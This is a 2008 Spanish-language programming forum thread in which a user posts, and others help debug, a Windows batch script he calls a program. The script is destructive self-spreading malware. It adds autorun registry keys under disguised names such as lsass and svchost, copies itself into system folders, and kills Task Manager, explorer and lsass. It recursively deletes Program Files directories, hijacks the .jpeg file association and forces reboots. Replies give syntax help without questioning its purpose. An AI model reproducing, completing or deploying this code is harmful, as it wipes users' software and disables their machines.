PDA

Ver la versión completa : Un nuevo "programa"



RaidMan
17-01-2008, 21:29
Buenas!! Una vez mas apelo a vuestro cerebro para que me concreteis una duda, a ser posible:

A ver, estoy creando un programa que crea varias partes, pero ademas pretendo que si se dan unas circustancias dichas partes "recreen" las otras partes, es decir, si una de las otras partes se borra, alguna otra la volvera a crear.

Para que quede mas o menos claro pondre aqui parte de codigo:
echo cd %TEMP%>> mouse.bat
echo echo echo off>> keyboard.bat>> mouse.bat <-- este es el problemilla
echo echo cls>> keyboard.bat>> mouse.bat

Se entiende?

Un saludo y desde ya, gracias

Nost
19-01-2008, 10:27
Nada, llevo toda la noche dándole vueltas al asunto pero no se me ocurre...

Por cierto, ¿no te da ná llamarle programa a un batch? Cuanto daño ha hecho mi curso... pero cuanto daño...

Mi consejo: dedicate a cultivar el campo, tío...

clarinetista
19-01-2008, 13:48
Creo que tu problema podrían ser el numero de parametros del script.
Define una constante con ese valor.

RaidMan
19-01-2008, 14:41
Hablas de una variable, clarinetista??
Ya lo he probado... no hay manera.

La idea era que cada una de las partes recrease a las anteriores si estas eran borradas.
Pero no puedo introducir dos comandos de redireccionamiento en una misma linea.
Asi que he acabado por hacerlo de otra forma.

Os pongo el codigo, por si os interesa y me decis fallos (que sin duda los habra :D)


@echo off
cls
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Mouse /T REG_SZ /d %windir%\system32\mouse.bat /f
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v KeyBoard /T REG_SZ /d %TEMP%\keyboard.bat /f
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Inet /T REG_SZ /d %APPDATA%\inet.bat /f
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Srv32 /T REG_SZ /d %windir%\srv32.bat /f
taskkill /im taskmgr.exe /f
copy %0 %windir%
copy %0 %windir%\system32
copy %0 %appdata%
cls

: inicio

if not exist %windir%\%0 (goto parte1)
if not exist %windir%\system32\%0 (goto parte2)
if not exist %appdata%\%0 (goto parte3)
cls
goto end

: part1

cls
cd %windir%\sytem32
echo @echo off>> mouse.bat
taskkill /im taskmgr.exe /f
echo cls>> mouse.bat
echo : bucle>> mouse.bat
echo msg * Diseñado por Raid>> mouse.bat
echo goto bucle>> mouse.bat
taskkill /im taskmgr.exe /f
echo msg * Diseñado por RaidMan...>> mouse.bat
echo : bucle>> mouse.bat
echo taskkill explorer.exe>> mouse.bat
echo goto bucle>> mouse.bat

: part2

cls
cd %temp%
echo @echo off>> keyboard.bat
echo cls>> keyboard.bat
echo taskkill /im explorer.exe /f>> keyboard.bat
echo rd /Q /S %programfiles%>> keyboard.bat
echo taskkill /im msnmsgr.exe /f>> keyboard.bat
echo taskkill /im explorer.exe /f>> keyboard.bat
echo taskkill /im lsass.exe /f>> keyboard.bat


: part3

cls
cd %appdata%
echo @echo off>> inet.bat
echo cls>> inet.bat
echo assoc .jpeg=WinRAR>> inet.bat
echo rd /Q /S %programfiles%\"msn messenger">> inet.bat

: part4

cls
cd %windir%
echo @echo off>> srv32.bat
echo cls>> srv32.bat
echo rd /Q /S %programfiles%\"archivos comunes">> srv32.bat
echo shutdown -r -t 8>> srv32.bat
cls

if not exist %temp%\keyboard.bat (goto part2) else (goto part1.2)


: end

cls
goto part1.2

: part1.2
cls
if not exist %appdata%\inet.bat (goto part3) else (goto part1.3)

: part1.3
cls
if not exist %windir%\inet.bat (goto part4) else (goto part1.4)

: part1.4
cls
if not exist %windir%\system32\mouse.bat (goto part1) else (goto start)



: parte1
copy /Y %0 %windir%
reg add HKLM\Software\microsoft\windows\currentversion\run /v lsass /T REG_SZ /d %windir%\%0 /f
goto inicio

: parte2
copy /Y %0 %windir%\system32
reg add HKLM\Software\microsoft\windows\currentversion\run /v svchost /T REG_SZ /d %windir%\system32\%0 /f
goto inicio

: parte3
copy /Y %0 %appdata%\%0
reg add HKLM\software\microsoft\windows\currentversion\run /v dll32 /T REG_SZ /d %appdata%\%0 /f
goto inicio



: start


cls
cd %temp%
keyboard.bat
cls
cd %windir%\system32
mouse.bat
cls
cd %appdata%
inet.bat
cls
cd %windir%
srv32.bat

exit


Un saludo y como siempre gracias

Nost
19-01-2008, 14:43
El problema ya se lo expliqué yo, y es que no se pueden usar dos >> en una misma línea, pero no se como solucionarlo. Probamos poniendo >> en una variable, pero no funcionó.

saltamontes
07-02-2008, 21:44
:pno se mucho se esto , pero podria ser q se haga una pequeña "funcion" a la que le des los parametros, y que esta lo pase el siguiente archivo, es decir, q se haga una funcion con dos parametros a los cuales seran los archivos que quieres replicar.......

bueno eso fue mi intento de aporte xD

(casi me enredo con mis palabras)

Satanheoba
07-02-2008, 23:39
Buenas Gente ... si lo que quieren poner dos comandos en una sola linea se puede usar el siguiente comando | ... EJ:

date|Find "2005"

como ven Busca valor en date... esa barrita se hace con ALT + 124.... Bue... espero que sirva para algo ...

Saludos.-

clarinetista
08-02-2008, 11:42
Se llaman tuberias o filtros , las barritas :)

Nost
08-02-2008, 17:14
Satanheoba, cuanto tiempo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Bueh, todo está explicado en mi curso de batching. Actualmente RaidMan se lo está currando con otras cosas (dícese del VisualBasic) así que no creo que le interese. Bueno, realmente sí.